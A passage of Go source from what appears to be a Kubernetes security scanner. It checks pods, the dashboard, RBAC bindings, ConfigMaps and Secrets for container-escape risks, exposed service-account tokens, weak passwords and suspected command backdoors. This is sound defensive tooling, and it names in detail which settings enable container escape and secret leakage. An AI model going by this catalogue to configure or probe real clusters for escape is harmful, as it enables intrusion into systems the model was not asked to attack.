strings.Contains(row.Description, "Plugin") { continue } th := &threat{ Param: "kubernetes version", Value: k8sVersion, Type: "K8s vulnerable version", Describe: fmt.Sprintf("Kubernetes version is suffering the %s vulnerablility "+ "under the version %s, need to update.", row.CVEID, strings.TrimPrefix(row.MaxVersion, "=")), Reference: "Update Kubernetes.", Severity: strings.ToLower(row.Level), } tlist = append(tlist, th) vuln = true } } return vuln, tlist } ================================================ FILE: internal/analyzer/k8s_dashboard.go ================================================ package analyzer import ( "context" "log" rv1 "k8s.io/api/rbac/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) // checkKuberDashboard extra checks Kubernetes dashboard func (ks *KScanner) checkKuberDashboard() error { log.Printf("Begin Dashboard analyzing") deploys, err := ks.KClient. AppsV1(). Deployments("kubernetes-dashboard"). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } for _, dp := range deploys.Items { if dp.Name != "kubernetes-dashboard" { continue } args := dp.Spec.Template.Spec.Containers[0].Args for _, arg := range args { if arg == "--enable-skip-login" { th := &threat{ Param: "Kubernetes-dashboard --args", Value: "--enable-skip-login", Type: "Deployment", Describe: "Staring with --enable-skip-login has a potential sensitive data leakage.", Severity: "low", } ks.checkDashboardRBAC(th) ks.VulnConfigures = append(ks.VulnConfigures, th) break } } } return nil } func (ks *KScanner) checkDashboardRBAC(th *threat) { clrb, err := ks.KClient. RbacV1(). ClusterRoleBindings(). List(context.TODO(), metav1.ListOptions{}) if err != nil { return } clr, err := ks.KClient. RbacV1(). ClusterRoles(). List(context.TODO(), metav1.ListOptions{}) if err != nil { return } for _, rb := range clrb.Items { for _, sub := range rb.Subjects { if sub.Kind != "ServiceAccount" || sub.Name != "kubernetes-dashboard" { continue } if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, rb.RoleRef.Name); ok { // Check the clusterrole configuration severity := tlist[0].Severity if severity == "medium" { th.Severity = "high" th.Describe = "Staring with --enable-skip-login with view permission " + "has a sensitive data leakage." } else if severity == "high" { th.Severity = "critical" th.Describe = "Staring with --enable-skip-login with all permission " + "will cause a potential container escape." } return } } } } ================================================ FILE: internal/analyzer/k8s_pod.go ================================================ package analyzer import ( "context" "fmt" "regexp" "strings" "time" "github.com/kvesta/vesta/config" v1 "k8s.io/api/core/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) func (ks *KScanner) podAnalyze(podSpec v1.PodSpec, rv RBACVuln, ns, podName string) []*threat { vList := []*threat{} for _, nswList := range namespaceWhileList { if ns == nswList { pruned, err := ks.prunePod(ns, podName) if err != nil { break } if pruned { return vList } pod, err := ks.KClient. CoreV1(). Pods(ns). Get(context.TODO(), podName, metav1.GetOptions{}) if err != nil { break } age := time.Since(pod.CreationTimestamp.Time) if age.Hours() < 168 { th := &threat{ Param: "replaced time", Value: pod.CreationTimestamp.Time.Format("02/01/2006"), Type: "Pod modify", Describe: fmt.Sprintf("Pod has been modified %.2f hours ageo "+ "in crucial namespace: %s", age.Hours(), ns), Severity: "medium", } vList = append(vList, th) } break } } // Check the potential trampoline attack if ok, tlist := ks.checkPodNodeSelector(podSpec); ok { vList = append(vList, tlist...) } if podSpec.HostPID { th := &threat{ Param: "Pod hostPID", Value: "true", Type: "hostPID", Describe: "Pod is running with `hostPID`, " + "which attackers can see all the processes in physical machine.", Severity: "medium", } vList = append(vList, th) } if podSpec.HostNetwork { th := &threat{ Param: "Pod hostNetwork", Value: "true", Type: "hostNetwork", Describe: "Pod is running with `hostNetwork`, " + "which will expose the network of physical machine.", Severity: "medium", } vList = append(vList, th) } if podSpec.HostIPC { th := &threat{ Param: "Pod hostIPC", Value: "true", Type: "hostIPC", Describe: "Pod is running with `hostIPC`, " + "which will expose all the data in shared memory segments.", Severity: "medium", } vList = append(vList, th) } for _, v := range podSpec.Volumes { if ok, tlist := checkPodVolume(v); ok { vList = append(vList, tlist...) } } for _, sp := range podSpec.Containers { // Skip some sidecars if sp.Name == "istio-proxy" { // Try to check the istio header `X-Envoy-Peer-Metadata` // reference: https://github.com/istio/istio/issues/17635 if ok, tlist := ks.checkIstioHeader(podName, ns, podSpec.Containers[0].Name); ok { vList = append(vList, tlist...) } continue } if ok, tlist := checkPodPrivileged(sp); ok { vList = append(vList, tlist...) } if ok, tlist := checkPodAccountService(sp, rv); ok { vList = append(vList, tlist...) } if ok, tlist := checkResourcesLimits(sp, podSpec.Volumes); ok { vList = append(vList, tlist...) } if ok, tlist := ks.checkSidecarEnv(sp, ns); ok { vList = append(vList, tlist...) } if ok, tlist := ks.checkPodCommand(sp, ns); ok { vList = append(vList, tlist...) } // Check CVE-2024-21626 if cveRuncRegex.MatchString(sp.WorkingDir) { th := &threat{ Param: "Pod WorkDIR", Value: fmt.Sprintf("WORKDIR: %s", sp.WorkingDir), Type: "Suspect malicious pod", Describe: fmt.Sprintf("Pod has malicious configuration, it's WORKDIR is '%s',"+ " which has a potential container escape, refer to CVE-2024-21626.", sp.WorkingDir), Reference: "https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv", Severity: "high", } vList = append(vList, th) } } return vList } func checkPodVolume(container v1.Volume) (bool, []*threat) { tlist := []*threat{} var vuln = false hostPath := container.HostPath if hostPath != nil { //volumePath := filepath.Dir(hostPath.Path) volumePath := hostPath.Path if isVuln := checkMountPath(volumePath); isVuln { th := &threat{ Param: fmt.Sprintf("volumes name: %s", container.Name), Value: volumePath, Type: string(*hostPath.Type), Describe: fmt.Sprintf("Mounting '%s' is suffer vulnerable of "+ "container escape.", volumePath), Severity: "critical", } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func checkPodPrivileged(container v1.Container) (bool, []*threat) { tlist := []*threat{} var vuln = false if container.SecurityContext != nil { // check capabilities of pod // Ignore the checking of cap_drop refer to: // https://stackoverflow.com/questions/63162665/docker-compose-order-of-cap-drop-and-cap-add capList, highestSeverity := "", "medium" if container.SecurityContext.Capabilities != nil { adds := container.SecurityContext.Capabilities.Add for _, ad := range adds { if ad == "ALL" { capList = "ALL" highestSeverity = "critical" vuln = true break } for c, s := range dangerCaps { if string(ad) == c { capList += c + " " if config.SeverityMap[s] > config.SeverityMap[highestSeverity] { highestSeverity = s } vuln = true } } } if vuln { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "capabilities", container.Name), Value: capList, Type: "capabilities.add", Describe: "There has a potential container escape in dangerous capabilities.", Severity: highestSeverity, } tlist = append(tlist, th) } } if container.SecurityContext.Privileged != nil && *container.SecurityContext.Privileged { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "Privileged", container.Name), Value: "true", Type: "Sidecar Privileged", Describe: "There has a potential container escape in privileged module.", Severity: "critical", } tlist = append(tlist, th) vuln = true } if container.SecurityContext.AllowPrivilegeEscalation != nil && *container.SecurityContext.AllowPrivilegeEscalation { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "AllowPrivilegeEscalation", container.Name), Value: "true", Type: "Sidecar Privileged", Describe: "There has a potential container escape in privileged module.", Severity: "critical", } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func (ks *KScanner) checkSidecarEnv(container v1.Container, ns string) (bool, []*threat) { var vuln = false tlist := []*threat{} // Check Pod Env for _, env := range container.Env { needCheck := false if env.ValueFrom != nil { switch { case env.ValueFrom.SecretKeyRef != nil: secretRef := env.ValueFrom.SecretKeyRef if ok, th := ks.checkSecretFromName(ns, secretRef.Key, secretRef.Name, env.Name); ok { th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name) tlist = append(tlist, th) vuln = true } continue case env.ValueFrom.ConfigMapKeyRef != nil: configRef := env.ValueFrom.ConfigMapKeyRef if ok, th := ks.checkConfigFromName(ns, configRef.Name, configRef.Key, env.Name); ok { th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name) tlist = append(tlist, th) vuln = true } continue } } for _, p := range passKey { if p.MatchString(env.Name) && env.ValueFrom == nil { needCheck = true break } } if needCheck { switch checkWeakPassword(env.Value) { case "Weak": th := &threat{ Param: fmt.Sprintf("sidecar name: %s | env", container.Name), Value: fmt.Sprintf("%s: %s", env.Name, env.Value), Type: "Sidecar Env", Describe: fmt.Sprintf("Container '%s' has found weak password: '%s'.", container.Name, env.Value), Severity: "high", } tlist = append(tlist, th) vuln = true case "Medium": th := &threat{ Param: fmt.Sprintf("sidecar name: %s | env", container.Name), Value: fmt.Sprintf("%s: %s", env.Name, env.Value), Type: "Sidecar Env", Describe: fmt.Sprintf("Container '%s' has found password '%s' "+ "need to be reinforeced.", container.Name, env.Value), Severity: "medium", } tlist = append(tlist, th) vuln = true } } detect := maliciousContentCheck(env.Value) th := &threat{ Param: fmt.Sprintf("sidecar name: %s | env", container.Name), Value: fmt.Sprintf("%s: %s", env.Name, detect.Plain), Type: "Sidecar Env", } switch detect.Types { case Confusion: th.Describe = fmt.Sprintf("Container '%s' finds high risk content(score: %.2f bigger than 0.75), "+ "which is a suspect command backdoor. ", container.Name, detect.Score) th.Severity = "high" tlist = append(tlist, th) vuln = true case Executable: th.Describe = fmt.Sprintf("An executable format of content is detected in Container '%s', "+ "which is a potential backdoor and scanning the vulnerability is highly recommended.", container.Name) th.Severity = "critical" tlist = append(tlist, th) vuln = true default: // ignore } } // Check pod envFrom for _, envFrom := range container.EnvFrom { switch { case envFrom.ConfigMapRef != nil: configRef := envFrom.ConfigMapRef configReg := regexp.MustCompile(`ConfigMap Name: (.*)? Namespace: (.*)`) if ok, th := ks.checkConfigVulnType(ns, configRef.Name, "ConfigMap", configReg); ok { th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name) tlist = append(tlist, th) vuln = true } case envFrom.SecretRef != nil: configRef := envFrom.SecretRef configReg := regexp.MustCompile(`Secret Name: (.*)? Namespace: (.*)`) if ok, th := ks.checkConfigVulnType(ns, configRef.Name, "Secret", configReg); ok { th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name) tlist = append(tlist, th) vuln = true } default: //ignore } } return vuln, tlist } func checkResourcesLimits(container v1.Container, volumes []v1.Volume) (bool, []*threat) { var vuln = false tlist := []*threat{} if len(container.Resources.Limits) < 1 { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "Resource", container.Name), Value: "memory, cpu, ephemeral-storage", Type: "Sidecar Resource", Describe: "None of resources is be limited.", Reference: "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/", Severity: "low", } tlist = append(tlist, th) vuln = true return vuln, tlist } if container.Resources.Limits.Memory().String() == "0" { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "Resource", container.Name), Value: "memory", Type: "Sidecar Resource", Describe: "Memory usage is not limited.", Reference: "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/", Severity: "low", } tlist = append(tlist, th) vuln = true } if container.Resources.Limits.Cpu().String() == "0" { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "Resource", container.Name), Value: "cpu", Type: "Sidecar Resource", Describe: "CPU usage is not limited.", Reference: "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/", Severity: "low", } tlist = append(tlist, th) vuln = true } // Checking the correction of storage limit usage if container.Resources.Limits.StorageEphemeral().String() != "0" { podVolumes := container.VolumeMounts for _, podV := range podVolumes { for _, v := range volumes { if v.HostPath != nil { if podV.Name == v.Name { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "Resource", container.Name), Value: "ephemeral-storage", Type: "Sidecar Resource", Describe: fmt.Sprintf("Ephemeral storage is used but in volumes '%s' with type hostpath, "+ "which limitation will not work.", v.Name), Reference: "https://kubernetes.io/docs/concepts/storage/ephemeral-volumes/#types-of-ephemeral-volumes", Severity: "low", } tlist = append(tlist, th) vuln = true break } } } } } return vuln, tlist } // checkPodAccountService check the default mount of service account func checkPodAccountService(container v1.Container, rv RBACVuln) (bool, []*threat) { var vuln = false tlist := []*threat{} for _, vc := range container.VolumeMounts { if vc.MountPath == "/var/run/secrets/kubernetes.io/serviceaccount" { th := &threat{ Param: fmt.Sprintf("sidecar name: %s | "+ "automountServiceAccountToken", container.Name), Value: "true", Type: vc.Name, Describe: "Mount service account has a potential sensitive data leakage.", Severity: "low", } switch rv.Severity { case "high": th.Severity = "critical" th.Describe = fmt.Sprintf("Mount service account and key permission are given, "+ "which will cause a potential container escape. "+ "Reference clsuterRolebind: %s | roleBinding: %s", rv.ClusterRoleBinding, rv.RoleBinding) case "medium": th.Severity = "high" th.Describe = fmt.Sprintf("Mount service account and view permission are given, "+ "which will cause a sensitive data leakage. "+ "Reference clsuterRolebind: %s | roleBinding: %s", rv.ClusterRoleBinding, rv.RoleBinding) case "low": th.Severity = "medium" th.Describe = fmt.Sprintf("Mount service account and some permission are given, "+ "which will cause a potential data leakage. "+ "Reference clsuterRolebind: %s | roleBinding: %s", rv.ClusterRoleBinding, rv.RoleBinding) default: //ignore } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func checkPodAnnotation(ans map[string]string) (bool, []*threat) { var vuln = false tlist := []*threat{} for k, v := range ans { for n, t := range unsafeAnnotations { if k == n { if len(t.Values) > 0 { for _, sv := range t.Values { if strings.Contains(v, sv) { th := &threat{ Param: fmt.Sprintf("pod annotation"), Value: fmt.Sprintf("%s: %s", k, v), Type: "Pod Annotation", Describe: fmt.Sprintf("Pod Annotation has an unsafe config from %s"+ " and value is `%s`.", t.component, v), Severity: t.level, } tlist = append(tlist, th) vuln = true break } } } else { th := &threat{ Param: fmt.Sprintf("pod annotation"), Value: fmt.Sprintf("%s: %s", k, v), Type: "Pod Annotation", Describe: fmt.Sprintf("Pod Annotation detects unsafe annotation name from %s"+ " and value is `%s`, need to check.", t.component, v), Severity: t.level, } tlist = append(tlist, th) vuln = true } } } } return vuln, tlist } func (ks *KScanner) checkPodCommand(container v1.Container, ns string) (bool, []*threat) { var vuln = false tlist := []*threat{} comRex := regexp.MustCompile(`\$(\w+)`) commands := strings.Join(container.Command, " ") + " " commands += strings.Join(container.Args, " ") comMatch := comRex.FindAllStringSubmatch(commands, -1) if len(comMatch) > 1 { for _, v := range comMatch[1:] { val := ks.findEnvValue(container, v[1], ns) detect := maliciousContentCheck(val) switch detect.Types { case Confusion: th := &threat{ Param: "Pod command", Value: fmt.Sprintf("command: %s", detect.Plain), Type: "Pod Command", Describe: fmt.Sprintf("Container command has found high risk environment in '%s'(score: %.2f bigger than 0.75), "+ "considering it as a backdoor.", v[0], detect.Score), Severity: "high", } tlist = append(tlist, th) vuln = true return vuln, tlist case Executable: th := &threat{ Param: "Pod command", Value: fmt.Sprintf("command: %s", detect.Plain), Type: "Pod Command", Describe: fmt.Sprintf("Container command has found executable risk environment in '%s', "+ "considering it as a backdoor.", v[0]), Severity: "critical", } tlist = append(tlist, th) vuln = true return vuln, tlist default: // ignore } } } detect := maliciousContentCheck(commands) switch detect.Types { case Confusion: th := &threat{ Param: "Pod command", Value: fmt.Sprintf("command: %s", detect.Plain), Type: "Pod Command", Describe: fmt.Sprintf("Pod Command finds high risk content(score: %.2f bigger than 0.75), "+ "considering it as a backdoor.", detect.Score), Severity: "high", } tlist = append(tlist, th) vuln = true case Executable: th := &threat{ Param: "Pod command", Value: fmt.Sprintf("command: %s", detect.Plain), Type: "Pod Command", Describe: "Container command is detected as a binary, " + "considering it as a backdoor.", Severity: "critical", } tlist = append(tlist, th) vuln = true default: // ignore } return vuln, tlist } func (ks *KScanner) checkPodNodeSelector(podSpec v1.PodSpec) (bool, []*threat) { var vuln = false tlist := []*threat{} if podSpec.NodeName != "" { nodeName := podSpec.NodeName if _, ok := ks.MasterNodes[nodeName]; ok { if ks.MasterNodes[nodeName].IsMaster { th := &threat{ Param: "Node Name", Value: nodeName, Type: "Pod Master NodeName", Describe: "Pod is compulsively deployed in a master node.", Severity: "low", } tlist = append(tlist, th) vuln = true } } } for key, value := range podSpec.NodeSelector { for _, node := range ks.MasterNodes { if rv, ok := node.Role[key]; ok { if value == rv && node.IsMaster { th := &threat{ Param: fmt.Sprintf("nodeselector key: %s", key), Value: value, Type: "Pod NodeSelector", Describe: "Pod is compulsively deployed in a master node.", Severity: "low", } tlist = append(tlist, th) vuln = true break } } } } return vuln, tlist } ================================================ FILE: internal/analyzer/k8s_rbac.go ================================================ package analyzer import ( "context" "fmt" "log" "regexp" "strings" "github.com/kvesta/vesta/config" rv1 "k8s.io/api/rbac/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) func (ks *KScanner) checkRoleBinding(ns string) error { rbs, err := ks.KClient. RbacV1(). RoleBindings(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } rls, err := ks.KClient. RbacV1(). Roles(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } clr, err := ks.KClient. RbacV1(). ClusterRoles(). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } checkBindKing := func(ruleKind, ruleName, roleName, subKind, subName, ns string) { switch ruleKind { case "Role": if ok, tlist := checkMatchingRole([]rv1.ClusterRole{}, rls.Items, ruleName); ok { for _, th := range tlist { th.Type = "RoleBinding" th.Param = fmt.Sprintf("binding name: %s "+ "| rolename: %s | role kind: Role "+ "| subject kind: %s | subject name: %s | namespace: %s", roleName, ruleName, subKind, subName, ns) if subKind == "User" && !strings.HasPrefix(subName, "system:kube-") { if config.SeverityMap[th.Severity] < 4 { continue } th.Severity = "warning" th.Describe = fmt.Sprintf("Key permission are given to unknown user '%s', "+ "printing it for checking.", subName) } if strings.Contains(subName, "unauthenticated") { if th.Severity == "medium" { th.Severity = "high" } th.Describe = "Key permission are given and every pod can access it, " + "which will cause a potential data leakage." } ks.VulnConfigures = append(ks.VulnConfigures, th) } } case "ClusterRole": if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok { for _, th := range tlist { th.Type = "RoleBinding" th.Param = fmt.Sprintf("binding name: %s "+ "| rolename: %s | role kind: ClusterRole "+ "| subject kind: %s | subject name: %s | namespace: %s", roleName, ruleName, subKind, subName, ns) if subKind == "User" && !strings.HasPrefix(subName, "system:kube-") { if config.SeverityMap[th.Severity] < 4 { continue } th.Severity = "warning" th.Describe = fmt.Sprintf("Key permission are given to unknown user '%s', "+ "printing it for checking.", subName) } if strings.Contains(subName, "unauthenticated") { if th.Severity == "medium" { th.Severity = "high" } th.Describe = "Key permission are given and every pod can access it, " + "which will cause a potential data leakage." } ks.VulnConfigures = append(ks.VulnConfigures, th) } } default: // ignore } } for _, rb := range rbs.Items { for _, sub := range rb.Subjects { // Ignore namespace in while list isWhite := false for _, wns := range namespaceWhileList { if sub.Namespace == wns { isWhite = true break } } if isWhite { continue } ruleKind := rb.RoleRef.Kind ruleName := rb.RoleRef.Name if len(sub.Namespace) < 1 { sub.Namespace = "all" } switch sub.Kind { case "Group": switch sub.Name { case "system:serviceaccounts", "system:authenticated", "system:unauthenticated": checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace) default: // Case of system:serviceaccounts:: if strings.HasPrefix(sub.Name, "system:serviceaccounts:") { if len(strings.Split(sub.Name, ":")) > 3 { continue } roleNs := strings.Split(sub.Name, ":")[2] checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, roleNs) } } case "ServiceAccount": if sub.Name != "system:anonymous" && sub.Name != "default" { continue } checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace) case "User": checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace) } } } return nil } func (ks *KScanner) checkClusterBinding() error { log.Printf(config.Yellow("Begin ClusterRoleBinding analyzing")) clrb, err := ks.KClient. RbacV1(). ClusterRoleBindings(). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } clr, err := ks.KClient. RbacV1(). ClusterRoles(). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } for _, rb := range clrb.Items { for _, sub := range rb.Subjects { // Ignore namespace in while list isWhite := false for _, ns := range namespaceWhileList { if sub.Namespace == ns { isWhite = true break } } // Skip system:basic-user rolebinding name if rb.Name == "system:basic-user" { isWhite = true } if isWhite { continue } ruleName := rb.RoleRef.Name if len(sub.Namespace) < 1 { sub.Namespace = "all" } switch sub.Kind { case "Group": switch sub.Name { case "system:serviceaccounts", "system:authenticated": if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok { for _, th := range tlist { th.Type = "ClusterRoleBinding" th.Param = fmt.Sprintf("binding name: %s "+ "| rolename: %s | role kind: ClusterRole "+ "| subject kind: %s | subject name: %s | namespace: %s", rb.Name, ruleName, sub.Kind, sub.Name, sub.Namespace) th.Describe = "Key permission are given to all account, which will cause a potential container escape." } ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } case "system:unauthenticated": if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok { for _, th := range tlist { th.Type = "ClusterRoleBinding" th.Param = fmt.Sprintf("binding name: %s "+ "| rolename: %s | role kind: ClusterRole "+ "| subject kind: %s | subject name: %s | namespace: %s", rb.Name, ruleName, sub.Kind, sub.Name, sub.Namespace) th.Describe = "Key permission are given and every pod can access it, which will cause a potential container escape." } ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } default: // Case of system:serviceaccounts:: if strings.HasPrefix(sub.Name, "system:serviceaccounts:") { if len(strings.Split(sub.Name, ":")) > 3 { continue } roleNs := strings.Split(sub.Name, ":")[2] if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok { for _, th := range tlist { th.Type = "ClusterRoleBinding" th.Param = fmt.Sprintf("binding name: %s "+ "| rolename: %s | role kind: ClusterRole "+ "| subject kind: %s | subject name: %s | namespace: %s", rb.Name, ruleName, sub.Kind, sub.Name, roleNs) } ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } } } case "ServiceAccount": if sub.Name != "system:anonymous" && sub.Name != "default" { continue } if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok { for _, th := range tlist { th.Type = "ClusterRoleBinding" th.Param = fmt.Sprintf("binding name: %s "+ "| rolename: %s | role kind: ClusterRole | "+ "subject kind: ServiceAccount | "+ "subject name: %s | namespace: %s", rb.Name, ruleName, sub.Name, sub.Namespace) } ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } case "User": if strings.HasPrefix(sub.Name, "system:kube-") { continue } if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok { for _, th := range tlist { if th.Severity == "medium" { continue } th.Severity = "warning" th.Type = "ClusterRoleBinding" th.Describe = fmt.Sprintf("Key permission are given to unknown user '%s', "+ "printing it for checking.", sub.Name) th.Param = fmt.Sprintf("binding name: %s "+ "| rolename: %s | role kind: ClusterRole | "+ "subject kind: User | subject name: %s | namespace: %s", rb.Name, ruleName, sub.Name, sub.Namespace) ks.VulnConfigures = append(ks.VulnConfigures, th) } } } } } return nil } func checkMatchingRole(clr []rv1.ClusterRole, rol []rv1.Role, ruleName string) (bool, []*threat) { var vuln = false tlist := []*threat{} checkRule := func(rules []rv1.PolicyRule) bool { for _, rul := range rules { if len(rul.Resources) < 1 { continue } th := &threat{} // Check whether all permission are given if rul.Verbs[0] == "*" && rul.Resources[0] == "*" { th.Value = fmt.Sprintf("verbs:* resources:%s", strings.Join(rul.Resources, ", ")) th.Severity = "high" th.Describe = "All the permission are given to the default service account " + "which will cause a potential container escape." vuln = true tlist = append(tlist, th) continue } if len(rul.Verbs) > 0 { // Check whether the default account has the permission of pod control th.Severity, th.Describe = RBACVulnTypeJudge(rul.Verbs, rul.Resources) if th.Severity == "warning" { continue } th.Value = fmt.Sprintf("verbs: %s | resources: %s", strings.Join(rul.Verbs, ", "), strings.Join(rul.Resources, ", ")) tlist = append(tlist, th) vuln = true } } return vuln } // Check clusterrole for _, r := range clr { if ruleName != r.Name { continue } vuln = checkRule(r.Rules) } // Check role for _, r := range rol { if ruleName != r.Name { continue } vuln = checkRule(r.Rules) } return vuln, tlist } func (ks *KScanner) checkConfigMap(ns string) error { var password string cfs, err := ks.KClient. CoreV1(). ConfigMaps(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } for _, cf := range cfs.Items { data := cf.Data for k, v := range data { needCheck := false for _, p := range passKey { if p.MatchString(k) { password = v needCheck = true break } } passUrlMatch := regexp.MustCompile(`\w+\+\w+\://\w+\:(.*)?\@`) pass := passUrlMatch.FindStringSubmatch(v) if len(pass) > 1 { password = pass[1] needCheck = true } if needCheck { switch checkWeakPassword(password) { case "Weak": th := &threat{ Param: fmt.Sprintf("ConfigMap Name: %s Namespace: %s", cf.Name, ns), Value: fmt.Sprintf("%s:%s", k, v), Type: "ConfigMap", Describe: fmt.Sprintf("ConfigMap has found weak password: '%s'.", password), Severity: "high", } ks.VulnConfigures = append(ks.VulnConfigures, th) case "Medium": th := &threat{ Param: fmt.Sprintf("ConfigMap Name: %s Namespace: %s", cf.Name, ns), Value: fmt.Sprintf("%s:%s", k, v), Type: "ConfigMap", Describe: fmt.Sprintf("ConfigMap has found password '%s' "+ "need to be reinforeced.", password), Severity: "medium", } ks.VulnConfigures = append(ks.VulnConfigures, th) } } // Check whether payload is hidden in the secret value detect := maliciousContentCheck(v) th := &threat{ Param: fmt.Sprintf("ConfigMap Name: %s Namspace: %s", cf.Name, ns), Value: fmt.Sprintf("%s:%s", k, detect.Plain), Type: "ConfigMap", } switch detect.Types { case Confusion: th.Describe = fmt.Sprintf("ConfigMap finds high risk content(score: %.2f bigger than 0.75), "+ "which is a suspect command backdoor. ", detect.Score) th.Severity = "high" ks.VulnConfigures = append(ks.VulnConfigures, th) case Executable: th.Describe = "An executable format of content is detected in ConfigMap value, " + "which is a potential backdoor and scanning the vulnerability is highly recommended." th.Severity = "critical" ks.VulnConfigures = append(ks.VulnConfigures, th) default: // ignore } } } return nil } func (ks *KScanner) checkSecret(ns string) error { var password string ses, err := ks.KClient. CoreV1(). Secrets(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } for _, se := range ses.Items { data := se.Data for k, v := range data { needCheck := false if k == ".dockerconfigjson" { th := &threat{ Param: fmt.Sprintf("Secret Name: %s | Namspace: %s", se.Name, ns), Value: fmt.Sprintf("%s:%s", k, string(v[:50])), Type: "Secret", Describe: "Secret has found account info .dockerconfigjson " + "in this service account.", Severity: "low", } ks.VulnConfigures = append(ks.VulnConfigures, th) continue } for _, p := range passKey { if p.MatchString(k) { needCheck = true break } } if needCheck { password = string(v) switch checkWeakPassword(password) { case "Weak": th := &threat{ Param: fmt.Sprintf("Secret Name: %s | Namspace: %s", se.Name, ns), Value: fmt.Sprintf("%s:%s", k, v), Type: "Secret", Describe: fmt.Sprintf("Secret has found weak password: '%s'.", password), Severity: "high", } ks.VulnConfigures = append(ks.VulnConfigures, th) case "Medium": th := &threat{ Param: fmt.Sprintf("Secret Name: %s | Namspace: %s", se.Name, ns), Value: fmt.Sprintf("%s:%s", k, v), Type: "Secret", Describe: fmt.Sprintf("Secret has found password '%s' "+ "need to be reinforeced.", password), Severity: "medium", } ks.VulnConfigures = append(ks.VulnConfigures, th) } } // Check whether payload is hidden in the secret value detect := maliciousContentCheck(string(v)) th := &threat{ Param: fmt.Sprintf("Secret Name: %s Namspace: %s", se.Name, ns), Value: fmt.Sprintf("%s:%s", k, detect.Plain), Type: "Secret", } switch detect.Types { case Confusion: th.Describe = fmt.Sprintf("Secret finds high risk content(score: %.2f bigger than 0.75), "+ "which is a suspect command backdoor. ", detect.Score) th.Severity = "high" ks.VulnConfigures = append(ks.VulnConfigures, th) case Executable: th.Describe = "An executable format of content is detected in Secret value, " + "which is a potential backdoor and scanning the vulnerability is highly recommended." th.Severity = "critical" ks.VulnConfigures = append(ks.VulnConfigures, th) default: // ignore } } } return nil } func (ks *KScanner) checkSecretFromName(ns, key, seName, envName string) (bool, *threat) { var vuln = false th := &threat{} ses, err := ks.KClient. CoreV1(). Secrets(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return vuln, th } for _, se := range ses.Items { data := se.Data if se.Name != seName { continue } vuln, th = findVulnEnvName[[]byte](data, key, envName, "secret") } return vuln, th } func (ks *KScanner) checkConfigFromName(ns, key, seName, envName string) (bool, *threat) { var vuln = false th := &threat{} ses, err := ks.KClient. CoreV1(). ConfigMaps(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return vuln, th } for _, se := range ses.Items { data := se.Data if se.Name != seName { continue } vuln, th = findVulnEnvName[string](data, key, envName, "configmap") } return vuln, th } func (ks *KScanner) findSecretOrConfigMapValue(name, com, ns string) string { switch com { case "ConfigMap": ses, err := ks.KClient. CoreV1(). ConfigMaps(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return "" } for _, se := range ses.Items { data := se.Data for k, v := range data { if k == name { return v } } } case "Secret": ses, err := ks.KClient. CoreV1(). Secrets(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return "" } for _, se := range ses.Items { data := se.Data for k, v := range data { if k == name { return string(v) } } } default: // ignore } return "" } func findVulnEnvName[T []byte | string](data map[string]T, key, envName, tp string) (bool, *threat) { var vuln = false th := &threat{} for k, v := range data { if k != key { continue } // Skip the username userReg := regexp.MustCompile(`(?i)user`) if userReg.MatchString(k) { skipCheck := true for _, reg := range passKey { if reg.MatchString(k) { skipCheck = false break } } if skipCheck { continue } } password := string(v) switch checkWeakPassword(password) { case "Weak": th = &threat{ Value: fmt.Sprintf("%s:%s", k, v), Type: fmt.Sprintf("Sidecar Env %s", tp), Describe: fmt.Sprintf("Sidecar env '%s' has found weak key: '%s'.", envName, password), Severity: "high", } vuln = true break case "Medium": th = &threat{ Value: fmt.Sprintf("%s:%s", k, v), Type: fmt.Sprintf("Sidecar Env %s", tp), Describe: fmt.Sprintf("Sidecar env '%s' has found key '%s' "+ "need to be reinforeced.", envName, password), Severity: "medium", } vuln 